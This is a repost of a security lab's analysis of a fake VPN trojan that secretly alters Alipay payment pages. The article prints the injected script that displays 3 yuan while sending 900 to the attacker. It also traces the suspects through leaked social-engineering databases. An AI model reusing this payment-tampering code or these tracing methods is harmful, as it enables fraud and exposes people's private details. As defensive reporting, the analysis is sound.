眼见未必实​之付款篡改支付宝木马分析[360天眼安全实验室 ]

最新推荐文章于 2024-02-13 23:17:04 发布
最新推荐文章于 2024-02-13 23:17:04 发布
阅读量2.6k 收藏 1
点赞数 2


背景

人在做,天在看。

支付宝作为国内在线支付市场的老大饱受恶意代码的侵扰,黑产总在如何通过支付宝骗取钱财上发挥着聪明才智,所以相关的恶意代码一旦进入360天眼实验室的网络雷达屏幕就会立即触发响应。

熟悉网络安全、破解逆向的朋友一定对于52pojie这个网站不会感到陌生,它是我国为数不多的关注计算机安全的技术网站。本次事件发端于52pojie上的一篇名为“支付宝转3块扣1900,这是咋回事”的贴子,说了这样一个经历:楼主在网上买VPN代理想科学上网,用支付宝付款时显示3块钱,但输完支付宝验证码后却被扣了1900元。而这背后究竟发生了些什么请看360天眼实验室带来的分析。

过程分析

根据帖子中的描述,我们试着访问提及的网站hxxp://cctv168.cc/,而网友之所以找到这个网站,是通过搜索引擎搜索VPN的时候,进入钓鱼页面,然后网友下载该VPN而受骗,而现在搜索关键词“VPN”已经找不到这个站了。如图:

https://i-blog.csdnimg.cn/blog_migrate/5da4f11cc860714201d495b5d1c682c6.png

在浏览器中输入网址,回车后现在看到明确的恶意网站提示:

https://i-blog.csdnimg.cn/blog_migrate/38145a770e5841f04f28cb46d59fb5b5.png

我们当然忽略警告继续访问,背后的网站是这个样子:

https://i-blog.csdnimg.cn/blog_migrate/b73ecfa31abebdbecd4181b69221f97f.png

点击“立即下载客户端”,所下载的文件现在已被360安全卫士查杀:

https://i-blog.csdnimg.cn/blog_migrate/1b06a3997b74a5269326798791892d29.png

帖子中的当事人很可能没能安装使用360卫士,不然几乎不可能在层层提示下还会一条道走到黑。现实是我们的可怜楼主可能真的就下载运行了恶意网站诱导的所谓VPN客户端程序,样本运行后,向用户展示界面如下界面:

https://i-blog.csdnimg.cn/blog_migrate/05e6c97ab61065fc82cecfb7b9666e7c.png

当然,只是不管你在何时以何种姿势点击连接,都会提示您会员已经过期。没办法,只有点击购物车按钮,购买会员才能使用。

在购买界面,给出的应付金额是3元,在这个黄金周的旅游景区,上个厕所都比这个贵,所以分分钟就点击了同意开通。

https://i-blog.csdnimg.cn/blog_migrate/72b63f4a1a0ebb73d479c956e3b8ad0b.png

事实上点击了同意开通后,样本执行了如下不为用户所知的动作:

1.访问http://463038264.lofter.com网站,读取到包括每次转账的金额(这里为每次转900元)、转账时显示的支付宝姓名(这里为长江电子商务有限公司)以及支付宝账号(lrh103272@163.com)等配置信息。

https://i-blog.csdnimg.cn/blog_migrate/8c30f5775d38938cdb4e43a0cb4ff7ea.png

2.带着http://www.alipay.com参数启动IEXPLORE.EXE,使用易语言(恶意代码作者的日常之选)封装的DOM类库,查找当前浏览器是不是正在进行付款操作。

https://i-blog.csdnimg.cn/blog_migrate/7fd1643a5e966e301c3c33a3c0ff9296.png

3.如果当前正在进行付款操作,根据付款的流程,修改网页的显示。

使用易语言的类成员方法(0x4040DB处),修改页面显示内容。此处方法有两个参数,参数一为“exescript”,参数二为要运行的脚本代码。将页面上显示的金额信息与付款金额填写为下图样式。至此,细心的人应该发现,软件能够帮你把金额和收款人自动填写上,当然也可以悄无声息地修改信息。

https://i-blog.csdnimg.cn/blog_migrate/d1329e8b46845440f2d9aae5193ea2d1.png

参数二的脚本内容为:

seajs.use("jquery",function($)

{$('#reason').val('USERvpn111 MCZ2016254525');

$('#ipt-search-key').val('lrh103272@163.com');

vara1=$('#amount').clone();

$('#amount').css('display','none');

$('#amunt').val('900');a1.val('3');

a1.attr('id','amount1');

a1.removeAttr('name');

a1.insertAfter($('label[for="amount"]'));

}

);

https://i-blog.csdnimg.cn/blog_migrate/a9910f98f0b978975e2a41377d222bd4.png

4.在上一步的操作中,支付宝实际支付的金额已经被修改成了900元,只不是因为软件作者通过脚本将显示的数字改成3元。在支付宝付款过程中,单击下一步后,正常的页面应该是这样的:

https://i-blog.csdnimg.cn/blog_migrate/36da8a352d7790ae32f40528364206a0.png

而在软件的帮忙下通过0x4046D6处函数的调用将页面做了瞒天过海式的修改:

一、将付款金额改成3元,

二、将收款人修改成"长江电子商务有限公司",在短短不到一秒钟的时间里,让人眼不见心不烦,提升了购物体验。

https://i-blog.csdnimg.cn/blog_migrate/ffbbe00fdbb9518ddbe211bcb4fb5cb7.png

修改页面的代码:

https://i-blog.csdnimg.cn/blog_migrate/ffbbe00fdbb9518ddbe211bcb4fb5cb7.png

5.在付款的最后一步,使用与第四步同样的障眼手法。被修改之前:

https://i-blog.csdnimg.cn/blog_migrate/d308cdb3d15778d3800d62a04c8cd22d.png

https://i-blog.csdnimg.cn/blog_migrate/18b27f7940fbe70a9531a2d959d8dfa8.png

修改后:

https://i-blog.csdnimg.cn/blog_migrate/fb242cf19147dd93b486ab54014a1256.png

6.最后,真实的交易数据被发送到服务器。事已至此,虽然肉眼已经无法再辨别出网页显示其实已经被篡改过,但从网络流量中发出的付款金额为900元。

https://i-blog.csdnimg.cn/blog_migrate/3c24d924c467f1b28c4d505857be1300.png

此时,看起来只支持了3元的一次完整购买过程就结束了。待事后事主看支付宝日志记录,才会发现转出的是900元,而不是3元。而这时,木马作者极可能正拿着这些钱吃着火锅唱着歌,还把着妹……

木马溯源

木马使用易语言编写,原理也并不复杂,技术方面没有太多值得细讲的地方。我们关心的是这种盗钱木马出自谁手?又经谁手进入网络?依赖360威胁情报中心的数据,追查其幕后黑手却也并不是什么难事,接着往下看。

样本中的配置文件来自于http://463038264.lofter.com网站,网页上出现了两个可疑的号码,463038264和2953766158,确认两个号码是QQ号。

https://i-blog.csdnimg.cn/blog_migrate/15f868f6c05972d1069c4a64216e22a7.png

在QQ签名信息是“1元1000钻石充值地址:http://dwz.cn/34thJj (下载前关闭杀毒),活动仅限于4月9号晚12点,明天恢复正常价格!”,访问http://dwz.cn/34thJj,得到一批同源样本:

https://i-blog.csdnimg.cn/blog_migrate/2ce59add3a2da55c48c7d4cee84dcab9.png

通过特征从360样本库中找到一些同源样本,发现木马作者有好多种骗钱的程序,整理后如图:

https://i-blog.csdnimg.cn/blog_migrate/5dbf848826e3df5d63969a9677a2f467.png

通过对同源样本的挖掘和网上某社工库的查询,发现该团伙如下:牧马人A和开发人员B。

一、牧马人A:

牧马人A是实际操作诈骗的人。根据配置网页中提供的号码为2053766158,如图为该QQ的个人资料页:

https://i-blog.csdnimg.cn/blog_migrate/ed41b3f7d1e1807d76d5e2158cdb6b67.png

通过搜索该QQ号,可以确定这个QQ号属于木马使用者,这是网友李安在5月14日发的被诈骗的信息:

https://i-blog.csdnimg.cn/blog_migrate/0057e7ebe97d3b405764c306b9406c8c.png

通过对该QQ和同源样本的挖掘找到了该QQ作者的大号:258****:

https://i-blog.csdnimg.cn/blog_migrate/066685597afec0ca749b5d91bab85a1f.png

而且,还有一名徒弟的出场客串:

https://i-blog.csdnimg.cn/blog_migrate/18fbfaddb5c4590433461f9ad14ad5fc.png

该帅哥的价值观严重扭曲:

https://i-blog.csdnimg.cn/blog_migrate/21d820f452704c4b5312b75fafce08e0.png

同时,通过样本又关联到该木马作者的两外要给另外一配置文件地址:

http://yanhuaxiang396.lofter.com/

https://i-blog.csdnimg.cn/blog_migrate/99eabd7859f10d58042bd67c6b9aeda7.png

有深入挖掘,发现他们开了一家公司:扬州**电子商务有限公司,这公司当然做SEO非常牛逼,因为是电子商务公司,而A有可能是公司的一个员工,在干私活,通过学到的SEO技术去做优化,把自己的VPN钓鱼站拍到搜索引擎前面。

https://i-blog.csdnimg.cn/blog_migrate/3c279e4211140bda7001f70a25462b8e.png

二、开发人员B:

开发人员B是诈骗软件开发的人,同时还是一个定制开发易语言程序的,他的QQ为12077*****:

 

https://i-blog.csdnimg.cn/blog_migrate/b73bd598eb49e7fdac6253d0d3c9ac73.png

然后从QQ的个人说明中,找到了他家的店铺:

https://i-blog.csdnimg.cn/blog_migrate/b28f7981655e141f98c6cb8e18f9131b.png

https://i-blog.csdnimg.cn/blog_migrate/d55b412ad2bbe77a58d18b9a21a69198.png

根据他阿里旺旺的信息,找到了另外的一个QQ:10092*****

https://i-blog.csdnimg.cn/blog_migrate/c64a3d61c66fa559312043a5c66b9345.png

通过对该QQ小号的关联,发现了他的大号4470*****,从资料上看是一个从事互联网行业的人,吉林的,从群关系数据库可以看出他学习易语言和开发外挂已经很久了:

https://i-blog.csdnimg.cn/blog_migrate/3e972762701c74111df4a6295629d961.png

通过查询群关系数据库,

https://i-blog.csdnimg.cn/blog_migrate/1e94c79d0bc8ed23a38b301f7ed1f014.png

通过搜索引擎搜索该QQ,找到了作者的手机、邮箱和真名,如图:

https://i-blog.csdnimg.cn/blog_migrate/5626a76cb9844e8418102d58eee89a3a.png

这是整个团伙的分工图:

https://i-blog.csdnimg.cn/blog_migrate/bf3378c4616ce1d4aee665f3f41ea00d.png

此外,作者充值业务广泛,包含但不限于以下业务:

https://i-blog.csdnimg.cn/blog_migrate/81c3560e305bc200e1c4fe69936ef883.png

https://i-blog.csdnimg.cn/blog_migrate/1b0ff6d5e81c92b4ac4374229ff3f9ed.png

https://i-blog.csdnimg.cn/blog_migrate/f2093526c89eeb2835a51bc670050aa0.png

https://i-blog.csdnimg.cn/blog_migrate/1f05a798fe033028aa70cc8391088ede.png

小结

木马作者使用的手段并不新奇,如果当时能够不轻信,如果当时能够不关杀软……但是没有如果。不夸张地说,现今的网络处处遍布陷井,保持安全软件的实时防护状态并及时安装漏洞补丁,才有可能在这魔鬼出没的世界中避免遭受欺诈和数字绑票。但是,武装到牙齿就够了吗?很多时候人总是带着侥幸的心理,人性的弱点最难以克服,no patch to stupid,再强大的安全工具在哪怕不那么高明的社工面前也往往一触即溃。控制好奇心,抵制贪婪,遏制恐惧,这些是一生的修行。

顺祝各位看官520表白成功!

本文由 360安全播报 原创发布，如需转载请注明来源及本文地址。
本文地址：http://bobao.360.cn/learning/detail/2876.html

q1063823095
关注
2022全国职业技能大赛“信息安全管理与评估“--应急响应日志分析解析（高职组）
Aluxian_的博客
02-16 4780
竞赛有固定的开始和结束时间，参赛队伍必须决定如何有效的分配时间。请认真阅读以下指引！（1）当竞赛结束，离开时请不要关机；（2）所有配置应当在重启后有效；（3）除了CD-ROM/HDD/NET驱动器，请不要修改实体机的配置和虚拟机本身的硬件设置。所需的设备、机械、装置和材料所有测试项目都可以由参赛选手根据基础设施列表中指定的设备和软件完成。评分方案本项目模块分数为350分。
【愚公系列】2024年02月 《网络安全应急管理与技术实践》 010-网络安全应急技术与实践（网络层-无线ARP欺骗与消息监听重现分析）
热门推荐
时光隧道
02-08 7万+
无线ARP欺骗（Wireless ARP Spoofing）是一种网络攻击方式，它利用ARP（地址解析协议）中的漏洞，欺骗通信双方，使其将通信数据发送给攻击者，从而实现中间人攻击。消息监听（Message Eavesdropping）则是指攻击者截获并监听通信双方之间的通信数据。以下是无线ARP欺骗与消息监听的重现分析过程：攻击者在同一局域网中启动无线ARP欺骗工具，如Ettercap、ARPwner等。攻击者扫描附近的无线网络，获取目标网络的SSID（无线网络名称）和MAC地址。
主流开发语言存恶意库，支付宝安全实验室提醒开发者注意
alipaysecurity的博客
01-08 265
主流开发语言存恶意库，支付宝安全实验室提醒开发者注意 近日，支付宝天宸实验室发现在Python官方的第三方库下载网站上有三款第三方恶意库。当开发者安装使用时，可能被安装恶意程序。 这三个恶意库的链接如下： roels： https://pypi.org/project/reols（不要下载） req-tools： https://pypi.org/project/req-tools（不要下载） d...
支付宝安全实验室研究成果入选AAAI-20，将进一步提升安全风控能力
蚂蚁金服技术团队
12-26 1902
被业内誉为“人工智能研究风向标”的国际人工智能领域顶级学术会议AAAI-20（The Thirty-Fourth AAAI Conference on Artificial Intelligence）将于2020年2月7日-12日在美国纽约举行。支付宝天筭风控实验室联合中科院信工所、中科院网安学院的研究论文《Coupled-view Deep Classifier Learning from Mu...
支付宝安全实验室发现3款恶意库，提醒开发者擦亮眼
lsj960922的博客
01-09 482
简介：这三款Python三方库有病毒，请勿安装使用！ 近日，支付宝天宸实验室发现在Python官方的第三方库下载网站上有三款第三方恶意库。当开发者安装使用时，可能被安装恶意程序。 roels： https://pypi.org/project/reols（不要下载） req-tools： https://pypi.org/project/req-tools（不要下载） dark-magi...
阿里巴巴天眼实验室招聘算法工程师
阿木寺的博客
03-07 471
点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达阿里巴巴-天眼实验室招聘算法工程师（社招内推）团队介绍：天眼工作室，阿里内部孵化商业化项目。与线下新零售巨头紧密合作，提...
交易信息被篡改的解决方法.txt
10-19
支付宝官方给的原因和解决方法是： 报错描述：ACQ.CONTEXT_INCONSISTENT（交易信息被篡改）或CONTEXT_INCONSISTENT（订单信息有错误，建议重新下单后付款。）； 报错原因：该笔订单已经请求过一次且在支付宝这边创建交易了，商户未使用与上一次请求相同的参数去调用接口导致此报错。 解决方案： 1、请检查本次请求与之前请求后已存交易的参数是否一致，如商品名称、金额、买卖家等信息。 2、更换商户订单号（out_trade_no）重新发起一笔请求。 具体如何解决：http://www.dh3344.com/news/show-htm-itemid-16570.html
【愚公系列】2024年02月 《网络安全应急管理与技术实践》 009-网络安全应急技术与实践（网络层-攻击分析）
时光隧道
02-08 7万+
网络层攻击是指针对网络层协议（如IP协议）的攻击。这些攻击旨在破坏网络通信、拒绝服务、窃取数据等。以下是网络层攻击的一些常见类型：IP地址欺骗：攻击者使用虚假的IP地址，伪装成其他合法主机或者隐藏自己的真实IP地址，以进行攻击、欺骗或匿名操作。IP分片攻击：攻击者通过发送大量的IP分片数据包，使目标主机的网络资源被消耗或者造成服务拒绝。IP源路由欺骗：攻击者在IP数据包中伪造源地址和路由信息，使目标主机误认为数据包来自合法的源地址，可能导致信息泄露或者伪造数据包攻击。
【愚公系列】2024年02月 《网络安全应急管理与技术实践》 020-网络安全应急技术与实践（主机层-主机日志分析）
最新发布
时光隧道
02-13 7万+
主机日志分析是指对主机产生的日志进行收集、解析和分析的过程。主机日志包含了主机运行时产生的各种事件和信息，如操作系统启动和停止、服务启动和停止、进程创建和终止、网络连接和断开等。通过对主机日志进行分析，可以识别异常事件和行为，及时发现系统故障和安全威胁，并采取相应的措施处理。步骤描述1收集日志：通过配置日志收集器或代理，将主机上的日志数据发送到集中的日志存储或分析平台。2解析日志：对收集到的日志数据进行解析，将其转化为结构化的数据格式，方便后续的分析和查询。3。
【愚公系列】2024年02月 《网络安全应急管理与技术实践》 016-网络安全应急技术与实践（Web层-应急响应技术总结）
时光隧道
02-11 7万+
Web安全事件应急响应技术是指针对Web应用程序遭受风险和安全漏洞的事件，如网络攻击、数据泄露、恶意软件等，迅速采取措施进行监测、分析和应对的技术手段。应急响应技术描述1. 监测和日志分析通过实时监测和分析Web应用程序的日志，以便发现异常活动和潜在的安全威胁。2. 威胁情报收集与分析收集和分析来自多个来源的威胁情报，以帮助识别和应对潜在威胁。3. 漏洞扫描和漏洞管理通过定期对Web应用程序进行漏洞扫描，及时发现和修复潜在的安全漏洞。4. 网络流量分析。
INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES错误解决方法
血色残阳的专栏
03-31 1万+
在安装APK文件时出现类似INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES的提示，同时类似的提示如下:   Android Launch! adb is running normally. Performing com.android123.CWJ activity launch Automatic Target Mode: using device
用C#实现木马程序[转]
08-05 1081
　　木马的介绍　　因为本文是探讨木马程序，所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。这里主要对软件部分介绍，它主要有控制端程序、木马程序（后台服务程序）、木马配制程序组成。控制端用以远程控制服务端的程序；木马程序是潜入服务端内部，获取其操作权限的程序；木马配制程序是设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏的更隐蔽的程
支付宝沙箱付款成功后一直提示验证失败
qq_41297837的博客
06-17 2623
在公钥私钥都配置无误后检查发现是return_url和notify_url的地址写错了 正确的写法应该是http://localhost:8080/return_url.jsp 是http://localhost 不是http:localhost !!! ...
apk自动安装时出现 INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES
u012003460的博客
11-27 3016
app开发免不了要做自动升级，但是这两天测试时出现了问题，有些设备可以升级成功，而有些却卡住了，打印后台的log一看 问题是：pkg: /mnt/internal_sd/update.apkFailure [INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES] 原因是：设备原来安装的app是debug版本，升级的时候是使用了前面打包的新版本，签名不一致
FTP协议安全性分析——中山大学WEB安全实验
"中山大学的一门WEB安全课程中进行了FTP协议分析实验，旨在研究FTP协议的安全性。实验涉及配置Serv-U FTP服务器，使用Wireshark抓包工具进行数据包分析，以及探讨FTP协议的安全隐患。实验还比较了通过HTTP、HTTPS、...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值